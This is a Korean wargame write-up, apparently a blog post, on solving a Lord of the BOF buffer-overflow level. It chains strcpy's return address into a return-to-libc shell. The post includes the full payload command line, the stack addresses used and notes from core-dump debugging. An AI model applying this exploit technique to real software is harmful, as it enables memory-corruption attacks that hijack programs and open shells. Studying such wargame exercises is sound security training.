★addr = (char*)&strcpy, if(memcmp(argv[1]+44, &addr, 4) != 0) : return address에 &strcpy가 들어가야 한다.
★memset(buffer+40+8, ‘A’, 4) : return address 영역 뒤가 A로 덮어진다. Strcpy의 ret에 해당한다
dest 포인터가 가리키고 있는 배열에 src 포인터가 가리키는 문자열을 복사한다.
Strcpy 함수에서 dest에 src를 복사하는 것을 이용해서, strcpy의 ret이 A로 덮어진 것을 다시 src에 원하는 주소를 줘서 덮을 수 있다. 이때 payload 전달 시 strcpy의 ret을 주긴 해야 하므로 dummy로 채운다. 그리고 &dest에 strcpy의 ret의 주소를 넣으면 원하는 주소가 있는 src로 strcpy의 ret이 덮어져서 리턴 시 원하는 것을 실행할 수 있다. 이때 넣을 주소는 buffer의 시작주소로, buffer의 시작주소로 가서 RTL을 수행하도록 해서 쉘을 딴다.
./ni `python -c 'print
"\x90"*28+"\xe0\x8a\x05\x40"+"BBBB"+"\xf9\xbf\x0f\x40"+"CCCC"+"\x10\x84\x04\x08"+"DDDD"+"\xff\xff\xff\xff"+"\xbf\xbf\xbf\xbf"'`
Buffer의 주소로 선택할 NOP 주소: 0xbffffaa4(\xa4\xfa\xff\xbf)
strcpy에서 ret이 덮어지는 주소: 0xbffffad0
System의 “/bin/sh”가 다른 곳에 있기 때문에 계속 불러오는데 실패하는 것이라고 한다.
System의 인자로 주도록 하자.
“/bin/sh”를 넣을 주소: 0xbffffabd
Strcpy의 &src에 넣을 NOP 주소: 0xbffffc24
Strcpy ret 주소: 0xbffffa80
Argv[2]의 주소로 쓸 NOP 주소: 0xbffffc10
안 된다…이번엔 dummy를 buffer 뒤에 넣어보자. Buffer 주소 찾기 쉬우려고 NOP으로 채웠는데 잘 안 되니까ㅠㅠ
Buffer의 시작 주소, strcpy의 ret 주소를 찾았다.
와 드디어 됐다. 원래 생각한대로 RTL로 buffer에 채우는게 맞는데…앞을 dummy로 채우면 안 되나 보다…이제 원본 파일에 공격해보자…
정말 이상할 노릇으로 원본파일에서는 seg fault가 떠서…다시 core dump해서 core 파일 분석해봤다..
Strcpy 주소는 그대론데 buffer 시작주소가 바뀌었다. 이번엔 원본파일에 바로 공격해보자…
드디어 성공!
“beg for me”
[LOB] level 19: nightmare -> xavius (0) | 2019.06.30 |
---|---|
[LOB] level 20 소켓(socket) 생성 간단 정리 (0) | 2019.06.30 |
[LOB] level 17: zomebie_assassin -> succubus (0) | 2019.06.28 |
[LOB] level 16: assasin -> zombie_assassin (0) | 2019.06.26 |
[LOB] level 15: giant -> assassin (0) | 2019.06.26 |